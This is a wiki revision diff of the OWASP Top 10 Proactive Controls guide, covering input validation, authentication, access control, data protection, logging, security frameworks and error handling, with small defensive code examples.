This regular expression ensures that a password is 10 to 64 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).
+
This regular expression ensures that a password is 10 to 4000 characters in length and includes a uppercase letter, a lowercase letter, a number and a special character (one or more uses of @, #, $, or %).
  
 
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).
 
Here is an example regular expression for an email address (per the HTML5 specification http://www.w3.org/TR/html5/forms.html#valid-e-mail-address).
  
  ^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$
+
  <nowiki>^[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$</nowiki>
 +
 
 +
Care should be exercised when creating regular expressions. Poorly designed expressions may result in potential denial of service conditions (aka ReDDoS). A good static analysis or regular expression tester tool can help product development teams to proactively find instances of this case.
 +
 
 +
There are also special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text.i A regular expression is not the right tool to parse and sanitize untrusted HTML. Please see the [https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet#RULE_.236_-_Sanitize_HTML_Markup_with_a_Library_Designed_for_the_Job XSS Prevention Cheat Sheet on HTML Sanitization] for more information.
 +
 
 +
=== PHP Example ===
 +
 
 +
Available as standard since v5.2, the PHP filter extension contains a set of the functions that can be used to validate the user input but also to sanitize it by removing the illegal characters. They also provide a standard strategy for filtering data.
 +
 
 +
Example of both validation and sanitization:
 +
 
 +
&#x3C;?php
 +
$sanitized_email = filter_var($email, FILTER_SANITIZE_EMAIL);
 +
if (filter_var($sanitized_email, FILTER_VALIDATE_EMAIL)) {
 +
echo &#x22;This sanitized email address is considered valid.\n&#x22;;
 +
}
 +
 
 +
=== Caution : Regular Expressions ===
 +
 
 +
Please note, regular expressions are just one way to accomplish validation. Regular expressions can be difficult to maintain or understand for some developers. Other validation alternatives involve writing validation methods which expresses the rules more clearly.
 +
 
 +
=== Caution : Validation for Security ===
 +
 
 +
<u>Input validation does not necessarily make untrusted input “safe” since it may be necessary to accept potentially dangerous characters as valid input.</u> The security of the application should be enforced where that input is used, for example, if input is used to build an HTML response, then the appropriate HTML encoding should be performed to prevent Cross-Site Scripting attacks. Also, if input is used to build a SQL statement, Query Parameterization should be used. In both of these (and other) cases, input validation should NOT be relied on for security!
 +
 
 +
=== Vulnerabilities Prevented ===
 +
* [[Top_10_2013-A1-Injection | OWASP Top 10 2013-A1-Injection (in part)]]
 +
* [[Top_10_2013-A3-Cross-Site_Scripting_(XSS) | OWASP Top 10 2013-A3-Cross-Site_Scripting_(XSS) (in part)]]
 +
* [[Top_10_2013-A10-Unvalidated_Redirects_and_Forwards | OWASP Top 10 2013-A10-Unvalidated_Redirects_and_Forwards]]
 +
* [[Mobile_Top_10_2014-M8 | OWASP Mobile Top 10 2014-M8 Security Decisions Via Untrusted Inputs (in part)]]
 +
 
 +
=== References ===
 +
* [[Input_Validation_Cheat_Sheet | OWASP Input Validation Cheat Sheet]]
 +
* [[Testing_for_Input_Validation | OWASP Testing for Input Validation]]
 +
* [[IOS_Developer_Cheat_Sheet#Security_Decisions_via_Untrusted_Inputs_(M7) | OWASP iOS Cheat Sheet Security Decisions via Untrusted Inputs]]
 +
 
 +
=== Tools ===
 +
* [[OWASP_JSON_Sanitizer | OWASP JSON Sanitizer Project]]
 +
* [[OWASP_Java_HTML_Sanitizer | OWASP Java HTML Sanitizer Project]]
 +
 
 +
<br /><br />
 +
 
 +
== 5: Implement Identity and Authentication Controls ==
 +
=== Control Description ===
 +
Authentication is the process of verifying that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.
 +
 
 +
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forth between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally impossible to predict.
 +
 
 +
Identity Management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, delegation, identity repositories and more.
 +
 
 +
Below are some recommendation for secure implementation, and with code examples for each of them.
 +
 
 +
=== Use Multi-Factor Authentication ===
 +
Multi-factor authentication (MFA) ensures that users are who they claim to be by requiring them to identify themselves with a combination of:
 +
 
 +
* Something they know – password or PIN
 +
* Something they own – token or phone
 +
* Something they are – biometrics, such as a fingerprint
 +
 
 +
Please see the [[Authentication_Cheat_Sheet | OWASP Authentication Cheat Sheet]]  for further details.
 +
 
 +
=== Mobile Application: Token-Based Authentication ===
 +
 
 +
When building mobile applications, it's recommended to avoid storing/persisting authentication credentials locally on the device. Instead, perform initial authentication using the username and password supplied by the user, and then generate a short-lived access token which can be used to authenticate a client request without sending the user's credentials.
 +
 
 +
=== Implement Secure Password Storage ===
 +
 
 +
In order to provide strong authentication controls, an application must securely store user credentials. Furthermore, cryptographic controls should be in place such that if a credential (e.g. a password) is compromised, the attacker does not immediately have access to this information.
 +
 
 +
Please see the [[Password_Storage_Cheat_Sheet | OWASP Password Storage Cheat Sheet]] for further details.
  
There are special cases for validation where regular expressions are not enough. If your application handles markup -- untrusted input that is supposed to contain HTML -- it can be very difficult to validate. Encoding is also difficult, since it would break all the tags that are supposed to be in the input. Therefore, you need a library that can parse and clean HTML formatted text such as the [[OWASP Java HTML Sanitizer]]. A regular expression is not the right tool to parse and sanitize untrusted HTML.
+
=== Implement Secure Password Recovery Mechanism ===
  
Here we illustrate one of the unfortunate truisms about input validation: input validation does not necessarily make untrusted input “safe” especially when dealing with “open text input” where complete sentences from users need to be accepted.
+
It is common for an application to have a mechanism for a user to gain access to their account in the event they forget their password. A good design workflow for a password recovery feature will use multi-factor authentication elements ( for example ask security question - something they know, and then send a generated token to a device - something they own).
  
'''Key References'''
+
Please see the [[Forgot_Password_Cheat_Sheet]] and [[Choosing_and_Using_Security_Questions_Cheat_Sheet]]  for further details.
* [[Input Validation Cheat Sheet]]
 
  
'''Key Tools'''
+
=== Session: Generation and Expiration ===
* [https://www.owasp.org/index.php/OWASP_JSON_Sanitizer OWASP JSON Sanitizer Project]
 
* [https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer OWASP Java HTML Sanitizer Project]
 
  
 +
On any successful authentication and reauthentication the software should generate a new session and session id.
  
== 4: Implement Appropriate Access Controls ==
+
In order to minimize the time period an attacker can launch attacks over active sessions and hijack them, it is mandatory to set expiration timeouts for every session, after a specified period of inactivity. The length of timeout should be inversely proportional with the value of the data protected. 
  
Authorization (Access Control) is the process where requests to access a particular feature of resource should be granted or denied. It should be noted that authorization is not equivalent to authentication. These terms and their definitions are frequently confused. Access Control can be a rather complex and design-heavy security control. The following "positive" access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security software design that must be heavily thought-through up front.  
+
Please see the [[Session_Management_Cheat_Sheet]] further details.
  
=== Force all requests to go through access control checks ===
+
=== Require Reauthentication for Sensitive Features ===
Most frameworks and languages only check a feature for access control if a programmer adds that check. The opposite is a more security-centric design. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.
 
  
=== Deny by default ===
+
For sensitive transactions, like changing password or changing the shipping address for a purchase, it is important to require the user to re-authenticate and if feasible, to generate a new session ID upon successful authentication.
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check.
+
 
+
=== PHP Example for Password Storage ===
=== Avoid hard-coded policy-based access control checks in code ===
+
Below is an example for password hashing in PHP using password_hash() function (available since 5.5.0) which defaults to using the bcrypt algorithm. The example uses a work factor of 15.
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control "engine") should be separated when possible.  
+
 
 +
&#x3C;?php
 +
$cost  = 15;
 +
$password_hash = password_hash(&#x22;secret_password&#x22;, PASSWORD_DEFAULT, [&#x22;cost&#x22; =&#x3E; $cost] );
 +
?&#x3E;
 +
 
 +
=== Conclusion ===
 +
Authentication and identity are very big topics. We're scratching the surface here. Ensure that your most senior engineering talent is responsible for your authentication solution.
 +
 
 +
=== Vulnerabilities Prevented ===
 +
* [[Top_10_2013-A2-Broken_Authentication_and_Session_Management| OWASP Top 10 2013 A2- Broken Authentication and Session Management]]
 +
* [[Mobile_Top_10_2014-M5|  OWASP Mobile Top 10 2014-M5- Poor Authorization and Authentication]]
 +
 
 +
=== References ===
 +
* [[Authentication_Cheat_Sheet|OWASP Authentication Cheat Sheet]]
 +
* [[Password_Storage_Cheat_Sheet|OWASP Password Storage Cheat Sheet]]
 +
* [[Forgot_Password_Cheat_Sheet|OWASP Forgot Password Cheat Sheet]]
 +
* [[Choosing_and_Using_Security_Questions_Cheat_Sheet|OWASP Choosing and Using Security Questions Cheat_Sheet]]
 +
* [[Session_Management_Cheat_Sheet|OWASP Session Management Cheat Sheet]]
 +
* [[Testing_for_authentication|OWASP Testing Guide 4.0: Testing for Authentication]]
 +
* [[IOS_Developer_Cheat_Sheet#Remediations_5OWASP| IOS Developer Cheat Sheet]]
 +
 
 +
<br /><br />
 +
 
 +
== 6: Implement Access Controls ==
 +
=== Control Description ===
 +
Authorization (Access Control) is the process where requests to access a particular feature or resource should be granted or denied. It should be noted that authorization is not equivalent to authentication (verifying identity). These terms and their definitions are frequently confused.
 +
 
 +
Access Control design may start simple, but can often grow into a rather complex and design-heavy security control. The following "positive" access control design requirements should be considered at the initial stages of application development. Once you have chosen a specific access control design pattern, it is often difficult and time consuming to re-engineer access control in your application with a new pattern. Access Control is one of the main areas of application security design that must be heavily thought-through up front, especially when addressing requirements like multi-tenancy and horizontal (data specific) access control.
 +
 
 +
=== Force All Requests to go Through Access Control Checks ===
 +
Most frameworks and languages only check a feature for access control if a programmer adds that check. The inverse is a more security-centric design, where all access is first verified. Consider using a filter or other automatic mechanism to ensure that all requests go through some kind of access control check.
 +
 
 +
=== Deny by Default ===
 +
In line with automatic access control checking, consider denying all access control checks for features that have not been configured for access control. Normally the opposite is true in that newly created features automatically grant users full access until a developer has added that check.
  
=== Code to the activity ===
+
=== Principle of Least Privilege ===
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Considering checking if the user has access to that feature in code, as opposed to checking what role the user is in code.
+
When designing access controls, each user or system component should be allocated the minimum privilege required to perform an action for the minimum amount of time.
  
=== Server-side trusted data should drive access control ===
+
=== Avoid Hard-Coded Access Control Checks ===
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved "server-side" in a standard web or web service application. Policy data such as a users role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.
+
Very often, access control policy is hard-coded deep in application code. This makes auditing or proving the security of that software very difficult and time consuming. Access control policy and application code, when possible, should be separated. Another way of saying this is that your enforcement layer (checks in code) and your access control decision making process (the access control "engine") should be separated when possible.
  
'''Key References'''
+
=== Code to the Activity ===
* [[Access Control Cheat Sheet]]
+
Most web frameworks use role based access control as the primary method for coding enforcement points in code. While it's acceptable to use roles in access control mechanisms, coding specifically to the role in application code is an anti-pattern. Consider checking if the user has access to that feature in code, as opposed to checking what role the user is in code. Such a check should take into context the specific data/user relationship. For example, a user may be able to generally modify projects given their role, but access to a given project should also be checked if business/security rules dictate explicit permissions to do so.
  
'''Key Tool'''
+
So instead of hard-coding role check all throughout your code base:
* [https://www.owasp.org/index.php/OWASP_PHPRBAC_Project OWASP PHPRBAC Project]
 
  
 +
if (user.hasRole("ADMIN")) || (user.hasRole("MANAGER")) {
 +
deleteAccount();
 +
}
  
== 5: Establish Identity and Authentication Controls ==
 
  
Authentication is the process of verification that an individual or an entity is who it claims to be. Authentication is commonly performed by submitting a user name or ID and one or more items of private information that only a given user should know.
+
Please consider the following instead:
  
Session Management is a process by which a server maintains the state of an entity interacting with it. This is required for a server to remember how to react to subsequent requests throughout a transaction. Sessions are maintained on the server by a session identifier which can be passed back and forward between the client and server when transmitting and receiving requests. Sessions should be unique per user and computationally very difficult to predict.
+
if (user.hasAccess("DELETE_ACCOUNT")) {
 +
deleteAccount();
 +
}
  
Identity management is a broader topic that not only includes authentication and session management, but also covers advanced topics like identity federation, single sign on, password-management tools, identity repositories and more.
+
=== Server-Side Trusted Data Should Drive Access Control ===
 +
The vast majority of data you need to make an access control decision (who is the user and are they logged in, what entitlements does the user have, what is the access control policy, what feature and data is being requested, what time is it, what geolocation is it, etc) should be retrieved "server-side" in a standard web or web service application. Policy data such as a user's role or an access control rule should never be part of the request. In a standard web application, the only client-side data that is needed for access control is the id or ids of the data being accessed. Most all other data needed to make an access control decision should be retrieved server-side.
  
'''Key References'''
+
=== Java Examples ===
* [[Authentication Cheat Sheet]]
+
As discussed before, it’s recommended to separate your access control policy definition from the business/logical layer (application code). This can be achieved by using a centralized security manager which allows flexible and customizable access control policy within your application. For example, [http://shiro.apache.org/tutorial.html Apache Shiro] API provides a simple [http://shiro.apache.org/configuration.html INI-based configuration file] that can be used to define your access control policy in a modular/pluggable way. Apache Shiro also has the ability to interact with any other JavaBeans-compatible frameworks (Spring, Guice, JBoss, etc). Aspects also provide a good method for separating your access control from your application code, while providing an auditable implementation.
* [[Password Storage Cheat Sheet]]
 
* [[Forgot Password Cheat Sheet]]
 
* [[Session Management Cheat Sheet]]
 
  
 +
=== Vulnerabilities Prevented ===
 +
* [[Top_10_2013-A4-Insecure_Direct_Object_References |OWASP Top 10 2013-A4-Insecure Direct Object References]]
 +
* [[Top_10_2013-A7-Missing_Function_Level_Access_Control | OWASP Top 10 2013-A7-Missing Function Level Access Control]]
 +
* [[Mobile_Top_10_2014-M5 | OWASP Mobile Top 10 2014-M5 Poor Authorization and Authentication]]
  
== 6: Protect Data and Privacy ==
+
=== References ===
 +
* [[Access_Control_Cheat_Sheet | OWASP Access Control Cheat Sheet]]
 +
* [[Testing_for_Authorization | OWASP Testing Guide for Authorization]]
 +
* [[IOS_Developer_Cheat_Sheet#Remediations_5 | OWASP iOS Developer Cheat Sheet Poor Authorization and Authentication]]
  
=== Use Encryption in Transit ===
+
<br /><br />
  
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. SSL/TLS is by far the most common and widely supported model used by web applications for encryption in transit.  
+
== 7: Protect Data ==
 +
=== Encrypting data in Transit ===
 +
When transmitting sensitive data, at any tier of your application or network architecture, encryption-in-transit of some kind should be considered. TLS is by far the most common and widely supported model used by web applications for encryption in transit. Despite published weaknesses in specific implementations (e.g. Heartbleed), it is still the defacto, recommended method for implementing transport layer encryption..
  
'''Key References'''
+
=== Encrypting data at Rest ===
* Proper SSL/TLS configuration: [[Transport Layer Protection Cheat Sheet]]
+
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI-DSS compliance standard. Also, any time you start building your own low-level cryptographic functions on your own, ensure you are or have the assistance of a deep applied expert. Instead of building cryptographic functions from scratch, it is strongly recommended that peer reviewed and open libraries be used instead, such as the Google KeyCzar project, Bouncy Castle and the functions included in SDKs. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issues in complex software.
* Protecting users from man-in-the-middle attacks via fraudulent SSL certificates: [[Pinning Cheat Sheet]]
 
  
=== Use Encryption at Rest ===
+
A common weakness in encrypting data at rest is using an inadequate key, or storing the key along with the encrypted data (the cryptographic equivalent of leaving a key under the doormat). Keys should be treated as secrets and only exist on the device in a transient state, e.g. entered by the user so that the data can be decrypted, and then erased from memory. Other alternatives include the use of specialized crypto hardware such as a Hardware Security Module (HSM) for key management and cryptographic process isolation.
  
Cryptographic storage is difficult to build securely. It's critical to classify data in your system and determine that data needs to be encrypted, such as the need to encrypt credit cards per the PCI compliance standard. Also, any time you start building your own low-level crypto on your own, ensure you are or have the assistance of a deep applied crypto expert. Consider well vetted cryptographic libraries such as the Google KeyCzar project. Also, be prepared to handle the more difficult aspects of applied crypto such as key management, overall cryptographic architecture design as well as tiering and trust issue in complex software.  
+
=== Implement Protection in Transit ===
+
Make sure that confidential or sensitive data is not exposed by accident during processing. It may be more accessible in memory; or it could be written to temporary storage locations or log files, where it could be read by an attacker.
'''Key References'''
 
* Information on low level decisions necessary when encrypting data at rest: [[Cryptographic Storage Cheat Sheet]]
 
* [[Password Storage Cheat Sheet]]
 
  
'''Key Tool'''
+
=== Mobile Application: Secure Local Storage ===
* [https://www.owasp.org/index.php/O-Saft OWASP SSL Audit for Testers]
+
In the context of mobile devices, which are regularly lost or stolen, secure local data storage requires proper techniques. When an application does not implement properly the storage mechanisms, it may lead to serious information leakage (example: authentication credentials, access token, etc.). When managing critically sensitive data, the best path is to never save that data on a mobile device, even using known methods such as a iOS keychain.  
  
=== Implement Protection in Process ===
+
=== Vulnerabilities Prevented ===
 +
* [[Top_10_2013-A6-Sensitive_Data_Exposure | OWASP Top 10 2013-A6-Sensitive_Data_Exposure]]
 +
* [[Mobile_Top_10_2014-M2 | OWASP Mobile Top 10 2014-M2 Insecure Data Storage]]
  
Data can be exposed during processing. It may be more accessible in memory; it may be stored in temporary locations or in logs.
+
=== References ===
 +
* Proper TLS configuration: [[Transport_Layer_Protection_Cheat_Sheet | OWASP Transport Layer Protection Cheat Sheet]]
 +
* Protecting users from man-in-the-middle attacks via fraudulent TLS certificates: [[Pinning_Cheat_Sheet | OWASP Pinning Cheat Sheet]]
 +
* [[Cryptographic_Storage_Cheat_Sheet | OWASP Cryptographic Storage Cheat Sheet]]
 +
* [[Password_Storage_Cheat_Sheet | OWASP Password Storage Cheat Sheet]]
 +
* [[Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001) | OWASP Testing for TLS]]
 +
* IOS Developer Cheat Sheet: [[IOS_Developer_Cheat_Sheet#Remediations |  OWASP iOS Secure Data Storage]]
 +
* IOS Application Security Testing Cheat Sheet: [[IOS_Application_Security_Testing_Cheat_Sheet#Insecure_data_storage | OWASP Insecure data storage]]
  
 +
=== Tools ===
 +
* [[O-Saft | OWASP O-Saft TLS Tool]]
 +
 +
<br /><br />
  
== 7: Implement Logging and Intrusion Detection ==
+
== 8: Implement Logging and Intrusion Detection ==
 +
=== Control Description ===
  
 
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:
 
Application logging should not be an afterthought or limited to debugging and troubleshooting. Logging is also used in other important activities:
Line 270: Line 579:
 
* Forensics
 
* Forensics
  
Use a common logging approach to ensure that all log entries are consistent, and contain essential information including source and timestamp.
+
Logging and tracking security events and metrics helps to enable [http://www.slideshare.net/zanelackey/attackdriven-defense| "attack-driven defense"]: making sure that your security testing and controls are aligned with real-world attacks against your system.
  
The [[OWASP AppSensor Project]] defines a conceptual framework and methodology that offers prescriptive guidance to implement intrusion detection and automated response into an existing application.  
+
To make correlation and analysis easier, follow a common logging approach within the system and across systems where possible, using an extensible logging framework like SLF4J with Logback or Apache Log4j2, to ensure that all log entries are consistent.
  
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions.  
+
Process monitoring, audit and transaction logs/trails etc are usually collected for different purposes than security event logging, and this often means they should be kept separate. The types of events and details collected will tend to be different. For example a PCI DSS audit log will contain a chronological record of activities to provide an independently verifiable trail that permits reconstruction, review and examination to determine the original sequence of attributable transactions.
  
It is important not to log too much, or too little - be careful not to log private or confidential data or secrets. Use knowledge of the intended purposes to guide what, when and how much. To protect from Log Injection aka Log Forging, make sure to perform validation or encoding on untrusted data before logging it.
+
It is important not to log too much, or too little. Make sure to always log the timestamp and identifying information like the source IP and user-id, but be careful not to log private or confidential data or opt-out data or secrets. Use knowledge of the intended purposes to guide what, when and how much to log. To protect from Log Injection aka [[Log_Forging|log forging]], make sure to perform encoding on untrusted data before logging it.
  
'''Key References'''
+
The [[OWASP_AppSensor_Project | OWASP AppSensor Project]] explains how to implement intrusion detection and automated response into an existing Web application: where to add sensors or [[AppSensor_DetectionPoints | detection points]] and what [[AppSensor_ResponseActions|response actions]] to take when a security exception is encountered in your application. For example, if a server-side edit catches bad data that should already have been edited at the client, or catches a change to a non-editable field, then you either have some kind of coding bug or (more likely) somebody has bypassed client-side validation and is attacking your app. Don’t just log this case and return an error: throw an alert, or take some other action to protect your system such as disconnecting the session or even locking the account in question.
* How to properly implement logging in an application: [[Logging Cheat Sheet]]
 
  
'''Key Tool'''
+
In mobile applications, developers use logging functionality for debugging purpose, which may lead to sensitive information leakage. These console logs are not only accessible using the Xcode IDE (in iOS platform) or Logcat (in Android platform) but by any third party application installed on the same device. For this reason, best practice recommends to disable logging functionality into production release.
* [[OWASP AppSensor Project]]
 
  
 +
Secure Logging design may include the followings:
 +
1. Logging level threshold configuration. i.e.Information, Warning, Error, fatal or Security Breach (highest value)
 +
2. Encode any characters to prevent log injection attacks.
 +
3. Do not log sensitive information. For example, password, session ID or Hash value of password, credit cards, social security numbers.
 +
4. Protection of log integrity. Hacker may tamper the log. Therefore, the permission of log files and log changes audit should be considered.
 +
5. Log file size growth: Hacker may send massive requests that result in disk storage denial of service or overwrite previous history logs.
  
== 8: Leverage Security Features of Frameworks and Security Libraries ==
+
=== Disable logging in release Android application ===
  
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries help software developers guard against security-related design and implementation flaws.
+
The simplest way to avoid compiling Log Class into production release is to use the Android [http://developer.android.com/guide/developing/tools/proguard.html ProGuard] tool to remove logging calls by adding the following option in the proguard-project.txt configuration file:
  
When possible, the emphasis should be on using the existing features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of foisting yet another library on them. Web application security frameworks to consider include:
+
-assumenosideeffects class android.util.Log
 +
{
 +
public static boolean isLoggable(java.lang.String, int);
 +
public static int v(...);
 +
public static int i(...);
 +
public static int w(...);
 +
public static int d(...);
 +
public static int e(...);
 +
}
 +
 
 +
=== Disable logging in release iOS application ===
 +
 
 +
This technique can be also applied on iOS application by using the preprocessor to remove any logging statements :
 +
 
 +
#ifndef DEBUG
 +
#define NSLog(...)
 +
#endif
 +
 +
=== Vulnerabilities Prevented ===
 +
* [[Top_10_2013-Top_10 | All Top Ten!]]
 +
* [[Mobile_Top_10_2014-M4 | Mobile Top 10 2014-M4 Unintended Data Leakage]]
 +
 
 +
=== References ===
 +
* How to properly implement logging in an application: [[Logging_Cheat_Sheet| OWASP Logging Cheat Sheet]]
 +
* OS Developer Cheat Sheet: [[IOS_Developer_Cheat_Sheet#Sensitive_Information_Disclosure_.28M10.29 | OWASP Sensitive Information Disclosure]]
 +
* [[Error_Handling,_Auditing_and_Logging | OWASP Logging]]
 +
* [[Reviewing_Code_for_Logging_Issues | OWASP Reviewing Code for Logging Issues]]
 +
 
 +
=== Tools ===
 +
* [[OWASP_AppSensor_Project | OWASP AppSensor Project]]
 +
* [[OWASP_Security_Logging_Project | OWASP Security Logging Project]]
 +
 
 +
<br /><br />
 +
 
 +
== 9: Leverage Security Frameworks and Libraries ==
 +
Starting from scratch when it comes to developing security controls for every web application, web service or mobile application leads to wasted time and massive security holes. Secure coding libraries and software frameworks with embedded security help software developers guard against security-related design and implementation flaws. A developer writing a application from scratch might not have sufficient time and budget to implement security features and different industries have different standards and levels of security compliance.
 +
 
 +
When possible, the emphasis should be on using the existing secure features of frameworks rather than importing third party libraries. It is preferable to have developers take advantage of what they're already using instead of forcing yet another library on them. Web application security frameworks to consider include:
  
 
* [http://static.springsource.org/spring-security/site/index.html Spring Security]
 
* [http://static.springsource.org/spring-security/site/index.html Spring Security]
 
* [http://shiro.apache.org/ Apache Shiro]
 
* [http://shiro.apache.org/ Apache Shiro]
 +
* [https://docs.djangoproject.com/en/1.8/topics/security/ Django Security]
 +
* [https://pythonhosted.org/Flask-Security/ Flask security]
 +
 +
One must also consider that not all frameworks are immune from security flaws and some have a large attack surface due to the many features and third-party plugins available. A good example is the Wordpress framework (a very popular framework to get a simple website off the ground quickly), which pushes security updates, but cannot support the security in third-party plugins or applications. Therefore it is important to build in additional security where possible, updating frequently and verifying them for security early and often like any other software you depend upon.
 +
 +
=== Vulnerabilities Prevented ===
 +
Secure frameworks and libraries will typically prevent common web application vulnerabilities such as those listed in the OWASP Top Ten, particularly those based on syntactically incorrect input (e.g. supplying a Javascript payload instead of a username).
 +
It is critical to keep these frameworks and libraries up to date as described in the [[Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities | using components with known vulnerabilities Top Ten 2013 risk]].
 +
 +
=== Key References ===
 +
* [[PHP_Security_Cheat_Sheet | OWASP PHP Security Cheat Sheet]]
 +
* [[.NET_Security_Cheat_Sheet | OWASP .NET Security Cheat Sheet]]
 +
* [https://code.google.com/p/mustache-security Security tips and tricks for JavaScript MVC frameworks and templating libraries]
 +
* [https://docs.angularjs.org/guide/security Angular Security]
 +
* [https://www.owasp.org/index.php/Category:Framework_Security_Matrix OWASP Security Features in common Web Frameworks]
 +
* [[Java_Security_Frameworks | OWASP Java Security Libraries and Frameworks]]
 +
 +
=== Tools ===
 +
* [[OWASP_Dependency_Check | OWASP Dependency Check]]
 +
<br /><br />
 +
 +
== 10: Error and Exception Handling ==
 +
=== Control Description ===
 +
 +
Implementing correct error and exception handling isn't exciting, but like input data validation, it is an important part of defensive coding, critical to making a system reliable as well as secure.
 +
Mistakes in error handling can lead to different kinds of security vulnerabilities:
 +
 +
1) Leaking information to attackers, helping them to understand more about your platform and design [https://cwe.mitre.org/data/definitions/209.html CWE 209]. For example, returning a stack trace or other internal error details can tell an attacker too much about your environment. Returning different types of errors in different situations (for example, "invalid user" vs "invalid password" on authentication errors) can also help attackers find their way in.
 +
 +
2) Not checking errors, leading to errors going undetected, or unpredictable results such as [https://cwe.mitre.org/data/definitions/391.html CWE 391]. Researchers at the University of Toronto have found that missing error handling, or small mistakes in error handling, are major contributors to catastrophic failures in distributed systems https://www.usenix.org/system/files/conference/osdi14/osdi14-paper-yuan.pdf.
 +
 +
Error and exception handling extends to critical business logic as well as security features and framework code. Careful code reviews, and negative testing (including exploratory testing and pen testing), fuzzing ([[Fuzzing]]) and fault injection can all help in finding problems in error handling. One of the most famous automated tools for this is [https://github.com/Netflix/SimianArmy Netflix's Chaos Monkey].
 +
 +
=== Positive Advice ===
 +
 +
It’s recommended to manage exceptions in a [[Error_Handling#Centralised_exception_handling_.28Struts_Example.29 | centralized manner]] to avoid duplicated try/catch blocks in the code, and to ensure that all unexpected behaviors are correctly handled inside the application.
 +
* Ensure that error messages displayed to users do not leak critical data, but are still verbose enough to explain the issue to the user.
 +
* Ensure that exceptions are logged in a way that gives enough information for Q/A, forensics or incident response teams to understand the problem.
 +
 +
=== Vulnerabilities Prevented ===
 +
* * [[Top_10_2013-Top_10 | All Top Ten!]]
 +
 +
=== References ===
 +
* [[Error_Handling | OWASP Code Review Guide - Error Handling]]
 +
* [[Testing_for_Error_Handling | OWASP Testing Guide - Testing for Error Handling]]
 +
* [[Improper_Error_Handling | OWASP Improper Error Handling]]
 +
 +
=== Tools ===
 +
* [https://github.com/diy1/aspirator Aspirator] - A simple checker for exception handler bugs
 +
 +
= Top 10 Mapping 2016 =
  
It is critical to keep these frameworks and libraries up to date as described in the [https://www.owasp.org/index.php/Top_10_2013-A9-Using_Components_with_Known_Vulnerabilities <i>using components with known vulnerabilities</i> Top Ten 2013 risk].
+
== Overview ==
  
'''Key References'''
+
OWASP Top 10 Proactive Controls is a developer centric list of security techniques that should be included in every software development project. Each control helps preventing one or more of the  OWASP Top Ten, the most critical web application security vulnerabilities.
* [https://www.owasp.org/index.php/PHP_Security_Cheat_Sheet PHP Security Cheat Sheet]
 
* [https://www.owasp.org/index.php/.NET_Security_Cheat_Sheet .NET Security Cheat Sheet]
 
  
 +
This documents presents a summary of the mapping between the OWASP Top 10 Proactive Controls and each of the OWASP Top 10 helps to mitigate.
  
== 9: Include Security-Specific Requirements ==
+
{| width="100%" cellpadding="7" cellspacing="0" <col width="325"><col width="316">
 +
! ead |
 +
|- valign="top"
 +
| width="50%" bgcolor="#d9d9d9" style="border: 1.00pt solid #000001; padding: 0.18cm" | '''OWASP Top 10 Proactive Controls'''
 +
| width="“50%”" bgcolor="#d9d9d9" style="border: 1.00pt solid #000001; padding: 0.18cm" | '''OWASP Top 10 Prevented''' 
  
There are three basic categories of security requirements that can be defined early-on in a software development project:
+
|- valign="top"
 +
| width="“50%”" style="border: 1.00pt solid #000001; padding: 0.18cm" |
 +
'''C1: Verify for Security Early and Often'''
  
1) '''Security Features and Functions''': the visible application security controls for the system, including authentication, access control and auditing functions. These requirements are often defined by use cases or user stories which include input, behavior and output, and can be reviewed and tested for functional correctness by Q/A staff. For example, checking for re-authentication during change password or checking to make sure that changes to certain data were properly logged.
+
<font size="2" style="font-size: 9pt”">
 +
Incorporate security testing as integral part of software engineering practice. Consider [[OWASP_Application_Security_Verification_Standard_Project |OWASP ASVS]] as a guide to define security requirements and testing.
 +
</font>
  
